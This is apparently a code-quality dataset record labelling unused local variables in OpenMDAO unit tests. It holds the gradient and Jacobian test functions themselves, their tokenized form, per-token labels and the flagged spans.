"._", "verify", "\\u", "identity_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "verify", "\\u", "identity_", "(_", "identity_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "c_", "=_", "Client_", "(_", "app_", "(_", ")_", ",_", "cookie", "jar_", "=_", "Cooki", "e", "Jar_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "'_", ",_", "status_", "=_", "403_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "/", "log", "\\u", "in", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "'_", ",_", "status_", "=_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "response_", "._", "body_", "==_", "b", "'", "Model", ":", " ", "foo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "c_", "._", "get_", "(_", "'/", "foo", "/", "log", "\\u", "out", "'_", ")_", "\\u\\u\\u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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
OpenMDAO/OpenMDAO-Framework/openmdao.main/src/openmdao/main/test/test_derivatives.py
[ { "content": " def test_bad_list_deriv_vars(self):\n top = set_as_top(Assembly())\n top.add('comp1', BadListDerivsComp())\n top.driver.workflow.add(['comp1'])\n top.comp1.x = 1.0\n top.run()\n self.assertEqual(top.comp1.y, 2.0)\n try:\n J = top.driver.calc_gradient(['comp1.x'], ['comp1.y'])\n except Exception as err:\n self.assertEqual(str(err),\n \"comp1: The return value of list_deriv_vars() was\"\n \" not a tuple of the form (invars, outvars). Value\"\n \" returned was ['x', 'y']\")", "metadata": "root.Testcase_derivatives.test_bad_list_deriv_vars", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 599 }, { "content": " def test_first_derivative(self):\n\n top = set_as_top(Assembly())\n top.add('comp', Paraboloid())\n top.add('driver', SimpleDriver())\n top.driver.workflow.add(['comp'])\n top.driver.add_parameter('comp.x', low=-1000, high=1000)\n top.driver.add_parameter('comp.y', low=-1000, high=1000)\n top.driver.add_objective('comp.f_xy')\n\n top.comp.x = 3\n top.comp.y = 5\n top.run()\n\n J = top.driver.calc_gradient(outputs=['comp.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, 0.0001)\n assert_rel_error(self, J[0, 1], 21.0, 0.0001)\n\n expected = \"\"\"\\\n------------------------\nCalculated Gradient\n------------------------\n\\[\\[ 5. 21.\\]\\]\n------------------------\nFinite Difference Comparison\n------------------------\n\\[\\[ 5.[0-9]+[ ]+21.[0-9]+\\]\\]\n\n Calculated FiniteDiff RelError[^\\n]+\n----------------------------------------------------------------------------\ncomp.f_xy / comp.x: 5.0 5.[0-9]+[ ]+[^\\n]+\ncomp.f_xy / comp.y: 21.0 21.[0-9]+[ ]+[^\\n]+\n\nAverage RelError: [^\\n]+\nMax RelError: [^ ]+ for comp.f_xy / comp.x\n\n\"\"\"\n stream = StringIO()\n top.driver.check_gradient(outputs=('comp.f_xy',), stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(outputs=['comp.f_xy'], stream=stream,\n inputs=['comp.x', 'comp.y'])\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(inputs=('comp.x', 'comp.y'), outputs=('comp.f_xy',),\n stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(name='driver', outputs=['comp.f_xy'], stream=stream,\n inputs=['comp.x', 'comp.y'])\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.check_gradient(name='comp', stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n top.comp.check_gradient(stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n stream = StringIO()\n comp = Paraboloid()\n comp.x = 3\n comp.y = 5\n Jbase, J, io_pairs, suspects = comp.check_gradient(stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")\n\n # now do it again to make sure name and parent were properly reset\n Jbase, J, io_pairs, suspects = comp.check_gradient(stream=stream)\n actual = stream.getvalue()\n if re.match(expected, actual) is None:\n print 'Expected:\\n%s' % expected\n print 'Actual:\\n%s' % actual\n self.fail(\"check_gradient() output doesn't match expected\")", "metadata": "root.Testcase_derivatives.test_first_derivative", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 972 }, { "content": " def test_nested(self):\n\n top = set_as_top(Assembly())\n top.add('nest', Assembly())\n top.nest.add('comp', Paraboloid())\n\n # We shouldn't calculate a derivative of this\n top.nest.comp.add('unwanted', Float(12.34, iotype='in'))\n top.nest.comp.add('junk', Float(9.9, iotype='out'))\n\n top.driver.workflow.add(['nest'])\n top.nest.driver.workflow.add(['comp'])\n top.nest.create_passthrough('comp.x')\n top.nest.create_passthrough('comp.y')\n top.nest.create_passthrough('comp.unwanted')\n top.nest.create_passthrough('comp.f_xy')\n top.nest.x = 3\n top.nest.y = 5\n top.run()\n\n # Now we need to set a deriv policy to prevent squawking\n # about missing deriatives.\n top.nest.comp.missing_deriv_policy = 'assume_zero'\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.y'],\n outputs=['nest.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, 0.0001)\n assert_rel_error(self, J[0, 1], 21.0, 0.0001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.y'],\n outputs=['nest.f_xy'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 5.0, 0.0001)\n assert_rel_error(self, J[0, 1], 21.0, 0.0001)\n\n # Now, let's find the derivative of the unconnected. Behaviour depends\n # on deriv policy.\n top.nest.add('stuff', Float(1.0, iotype='in'))\n top.nest.add('junk', Float(1.0, iotype='out'))\n top.add('first', Paraboloid())\n top.add('last', Paraboloid())\n top.connect('first.f_xy', 'nest.stuff')\n top.connect('nest.junk', 'last.x')\n top.driver.workflow.clear()\n top.driver.workflow.add(['first', 'nest', 'last'])\n\n top.nest.comp.missing_deriv_policy = 'assume_zero'\n top.run()\n J = top.driver.calc_gradient(inputs=['nest.x', 'first.x'],\n outputs=['nest.f_xy', 'last.f_xy'],\n mode='forward')\n\n top.nest.missing_deriv_policy = 'assume_zero'\n J = top.driver.calc_gradient(inputs=['nest.x', 'first.x'],\n outputs=['nest.f_xy', 'last.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 0.0, .001)\n\n top.nest.missing_deriv_policy = 'error'\n\n J = top.driver.calc_gradient(inputs=['first.x'],\n outputs=['last.f_xy'],\n mode='forward')\n\n top.nest.missing_deriv_policy = 'assume_zero'\n J = top.driver.calc_gradient(inputs=['first.x'],\n outputs=['last.f_xy'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.stuff'],\n outputs=['nest.f_xy', 'nest.junk'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff', 'nest.x'],\n outputs=['nest.junk', 'nest.f_xy', ],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 5.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff', 'nest.x'],\n outputs=['nest.junk', 'nest.f_xy', ],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 5.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff', 'nest.x'],\n outputs=['nest.f_xy', ],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n assert_rel_error(self, J[0, 1], 5.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.stuff'],\n outputs=['nest.f_xy', ],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.x', 'nest.stuff'],\n outputs=['nest.f_xy', 'nest.junk'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 5.0, .001)\n assert_rel_error(self, J[0, 1], 0.0, .001)\n assert_rel_error(self, J[1, 0], 0.0, .001)\n assert_rel_error(self, J[1, 1], 0.0, .001)\n\n J = top.driver.calc_gradient(inputs=['nest.stuff'],\n outputs=['nest.junk'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 0.0, .001)\n\n top.nest.missing_deriv_policy = 'error'\n J = top.driver.calc_gradient(inputs=['nest.stuff'],\n outputs=['nest.junk'],\n mode='forward')", "metadata": "root.Testcase_derivatives.test_nested", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 1247 }, { "content": " def test_nested_2Darray(self):\n\n top = set_as_top(Assembly())\n top.add('nest', Assembly())\n top.nest.add('comp', ArrayComp2D())\n\n top.driver.workflow.add(['nest'])\n top.nest.driver.workflow.add(['comp'])\n top.nest.create_passthrough('comp.x')\n top.nest.create_passthrough('comp.y')\n top.run()\n\n J = top.driver.calc_gradient(inputs=['nest.x',],\n outputs=['nest.y'],\n mode='forward')\n\n diff = J - top.nest.comp.J\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x',],\n outputs=['nest.y'],\n mode='adjoint')\n diff = J - top.nest.comp.J\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 0]',],\n outputs=['nest.y[0, 0]'],\n mode='forward')\n\n diff = J - top.nest.comp.J[0, 0]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 0]',],\n outputs=['nest.y[0, 0]'],\n mode='adjoint')\n\n diff = J - top.nest.comp.J[0, 0]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 1]',],\n outputs=['nest.y[1, 0]'],\n mode='forward')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 1]',],\n outputs=['nest.y[1, 0]'],\n mode='adjoint')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, 1]',],\n outputs=['nest.y[1, 0]'],\n mode='fd')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, -1]',],\n outputs=['nest.y[-1, 0]'],\n mode='forward')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, -1]',],\n outputs=['nest.y[-1, 0]'],\n mode='adjoint')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n J = top.driver.calc_gradient(inputs=['nest.x[0, -1]',],\n outputs=['nest.y[-1, 0]'],\n mode='fd')\n\n diff = J - top.nest.comp.J[1, 2]\n assert_rel_error(self, diff.max(), 0.0, .000001)\n\n Jsub = top.nest.comp.J[2:3, 2:3]\n J = top.driver.calc_gradient(inputs=['nest.x[1][:]',],\n outputs=['nest.y[1][:]'],\n mode='forward')\n\n diff = J - Jsub\n\n J = top.driver.calc_gradient(inputs=['nest.x[1][:]',],\n outputs=['nest.y[1][:]'],\n mode='adjoint')\n\n diff = J - Jsub\n\n top.run()\n J = top.driver.calc_gradient(inputs=['nest.x[1][:]',],\n outputs=['nest.y[1][:]'],\n mode='fd')\n diff = J - Jsub", "metadata": "root.Testcase_derivatives.test_nested_2Darray", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2004 }, { "content": " def test_nondifferentiable_blocks(self):\n\n self.top = set_as_top(Assembly())\n\n exp1 = ['y1 = 2.0*x1**2',\n 'y2 = 3.0*x1']\n deriv1 = ['dy1_dx1 = 4.0*x1',\n 'dy2_dx1 = 3.0']\n\n exp2 = ['y1 = 0.5*x1']\n deriv2 = ['dy1_dx1 = 0.5']\n\n exp3 = ['y1 = 3.5*x1']\n deriv3 = ['dy1_dx1 = 3.5']\n\n exp4 = ['y1 = x1 + 2.0*x2',\n 'y2 = 3.0*x1',\n 'y3 = x1*x2']\n deriv4 = ['dy1_dx1 = 1.0',\n 'dy1_dx2 = 2.0',\n 'dy2_dx1 = 3.0',\n 'dy2_dx2 = 0.0',\n 'dy3_dx1 = x2',\n 'dy3_dx2 = x1']\n\n exp5 = ['y1 = x1 + 3.0*x2 + 2.0*x3']\n deriv5 = ['dy1_dx1 = 1.0',\n 'dy1_dx2 = 3.0',\n 'dy1_dx3 = 2.0']\n\n self.top.add('comp1', ExecComp(exp1))\n self.top.add('comp2', ExecComp(exp2))\n self.top.add('comp3', ExecComp(exp3))\n self.top.add('comp4', ExecCompWithDerivatives(exp4, deriv4))\n self.top.add('comp5', ExecComp(exp5))\n\n self.top.driver.workflow.add(['comp1', 'comp2', 'comp3', 'comp4', 'comp5'])\n\n self.top.connect('comp1.y1', 'comp2.x1')\n self.top.connect('comp1.y2', 'comp3.x1')\n self.top.connect('comp2.y1', 'comp4.x1')\n self.top.connect('comp3.y1', 'comp4.x2')\n self.top.connect('comp4.y1', 'comp5.x1')\n self.top.connect('comp4.y2', 'comp5.x2')\n self.top.connect('comp4.y3', 'comp5.x3')\n\n # Case 1 - differentiable (comp4)\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[1]._nodes)\n self.assertTrue(len(comp_list) == 3)\n self.assertTrue('comp1' in comp_list)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp3' in comp_list)\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[3]._nodes)\n self.assertTrue(len(comp_list) == 1)\n self.assertTrue('comp5' in comp_list)\n\n # Case 2 - differentiable (none)\n\n self.top.replace('comp4', ExecComp(exp4))\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[1]._nodes)\n self.assertTrue(len(comp_list) == 5)\n self.assertTrue('comp1' in comp_list)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp3' in comp_list)\n self.assertTrue('comp4' in comp_list)\n self.assertTrue('comp5' in comp_list)\n\n\n # Piggyback testing of the is_variable_local function -- make sure it\n # pokes through opaque systems.\n system = self.top.driver.workflow._system\n self.assertTrue(system.is_variable_local('comp2.y1') is True)\n\n # Case 3 - differentiable (comp5)\n\n self.top.replace('comp5', ExecCompWithDerivatives(exp5, deriv5))\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[1]._nodes)\n self.assertTrue(len(comp_list) == 4)\n self.assertTrue('comp1' in comp_list)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp3' in comp_list)\n self.assertTrue('comp4' in comp_list)\n\n # Case 4 - differentiable (comp1, comp3, comp5)\n\n self.top.replace('comp1', ExecCompWithDerivatives(exp1, deriv1))\n self.top.replace('comp3', ExecCompWithDerivatives(exp3, deriv3))\n\n self.top.comp1.x1 = 2.0\n self.top.run()\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='forward')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='adjoint')\n\n assert_rel_error(self, J[0, 0], 313.0, .001)\n\n comp_list = simple_node_iter(self.top.driver.workflow._system.subsystems()[3]._nodes)\n self.assertTrue(len(comp_list) == 2)\n self.assertTrue('comp2' in comp_list)\n self.assertTrue('comp4' in comp_list)\n\n\n # Put everything in a single pseudo-assy, and run fd.\n J = self.top.driver.calc_gradient(inputs=['comp1.x1'],\n outputs=['comp5.y1'],\n mode='fd')\n assert_rel_error(self, J[0, 0], 313.0, .001)", "metadata": "root.Testcase_derivatives.test_nondifferentiable_blocks", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2519 }, { "content": " def test_missing_derivs_error(self):\n self.top = set_as_top(Assembly())\n\n self.top.add('driver', SimpleDriver())\n self.top.add('dis2', SimpleCompMissingDeriv())\n self.top.driver.add_objective('(dis2.y)**2')\n self.top.driver.add_parameter('dis2.x', low=-10.0, high=10.0)\n self.top.driver.add_constraint('dis2.miss_out < 24.0')\n\n self.top.run()\n try:\n J = self.top.driver.calc_gradient(mode='forward')\n except Exception as err:\n self.assertEqual(str(err),\n \"'dis2 (1-dis2): does not provide analytical derivatives for\"\n \" miss_out'\")\n else:\n self.fail(\"exception expected\")\n\n self.top.driver.remove_constraint('dis2.miss_out < 24.0')\n self.top.driver.add_constraint('dis2.y < 24.0')\n self.top.driver.remove_parameter('dis2.x')\n self.top.driver.add_parameter('dis2.miss_in', low=-10.0, high=10.0)\n\n try:\n J = self.top.driver.calc_gradient(mode='forward')\n except Exception as err:\n self.assertEqual(str(err),\n \"'dis2 (1-dis2): does not provide analytical derivatives for\"\n \" miss_in'\")\n else:\n self.fail(\"exception expected\")", "metadata": "root.Testcase_derivatives.test_missing_derivs_error", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 2899 }, { "content": " def test_jacobian_size_error(self):\n\n top = set_as_top(Assembly())\n top.add('comp1', Array_Slice_1D())\n top.add('driver', SimpleDriver())\n top.driver.workflow.add(['comp1'])\n\n top.comp1.x = zeros((3, 2))\n try:\n J = top.driver.calc_gradient(inputs=[('comp1.x')],\n outputs=['comp1.y'],\n mode='forward')\n except RuntimeError as err:\n msg = 'comp1: Jacobian is the wrong size. Expected (4x6) but got (4x4)'\n self.assertEqual(str(err), msg)\n else:\n self.fail(\"exception expected\")", "metadata": "root.Testcase_derivatives.test_jacobian_size_error", "header": "['class', 'Testcase_derivatives', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 3020 } ]
[ { "span": "J ", "start_line": 607, "start_column": 12, "end_line": 607, "end_column": 13 }, { "span": "Jbase,", "start_line": 1074, "start_column": 8, "end_line": 1074, "end_column": 13 }, { "span": "J,", "start_line": 1074, "start_column": 15, "end_line": 1074, "end_column": 16 }, { "span": "io_pairs,", "start_line": 1074, "start_column": 18, "end_line": 1074, "end_column": 26 }, { "span": "suspects ", "start_line": 1074, "start_column": 28, "end_line": 1074, "end_column": 36 }, { "span": "J ", "start_line": 1382, "start_column": 8, "end_line": 1382, "end_column": 9 }, { "span": "diff ", "start_line": 2102, "start_column": 8, "end_line": 2102, "end_column": 12 }, { "span": "deriv2 ", "start_line": 2529, "start_column": 8, "end_line": 2529, "end_column": 14 }, { "span": "J ", "start_line": 2924, "start_column": 12, "end_line": 2924, "end_column": 13 }, { "span": "J ", "start_line": 3029, "start_column": 12, "end_line": 3029, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "bad", "\\u", "list", "\\u", "deriv", "\\u", "vars_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "comp", "1", "'_", ",_", "Ba", "d", "List", "Der", "iv", "s", "Comp_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "comp", "1", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "comp", "1_", "._", "x_", "=_", "1.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "top_", "._", "comp", "1_", "._", "y_", ",_", "2.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "[_", "'", "comp", "1", ".", "x", "'_", "]_", ",_", "[_", "'", "comp", "1", ".", "y", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "err_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "comp", "1", ":", " ", "The", " ", "return", " ", "value", " ", "of", " ", "list", "\\u", "deriv", "\\u", "vars", "()", " ", "was", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "not", " ", "a", " ", "tuple", " ", "of", " ", "the", " ", "form", " ", "(", "inva", "rs", ",", " ", "out", "vars", ").", " ", "Value", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", " ", "return", "ed", " ", "was", " ", "['", "x", "',", " ", "'", "y", "']\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "case", "\\u", "derivatives", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "first", "\\u", "derivative_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "comp", "'_", ",_", "Para", "bolo", "id_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "add_", "(_", "'", "driver", "'_", ",_", "Simple", "Driver_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "[_", "'", "comp", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "comp", ".", "x", "'_", ",_", "low_", "=_", "-_", "1000_", ",_", "high_", "=_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "comp", ".", "y", "'_", ",_", "low_", "=_", "-_", "1000_", ",_", "high_", "=_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "driver_", "._", "add", "\\u", "objective_", "(_", "'", "comp", ".", "f", "\\u", "xy", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "top_", "._", "comp_", "._", "x_", "=_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "comp_", "._", "y_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "J_", "=_", "top_", "._", "driver_", "._", "calc", "\\u", "gradient_", "(_", "outputs_", "=_", "[_", "'", "comp", ".", "f", "\\u", "xy", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mode_", "=_", "'", "forward", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "0_", "]_", ",_", "5.0_", ",_", "0.0001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "J_", "[_", "0_", ",_", "1_", "]_", ",_", "21.", "0_", ",_", "0.0001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "expected_", "=_", "\"\"\"", "\\\\", "\\", "10", ";", "--------------", "----------", "\\", "10", ";", "Calculat", "ed", " ", "Grad", "ient", "\\", 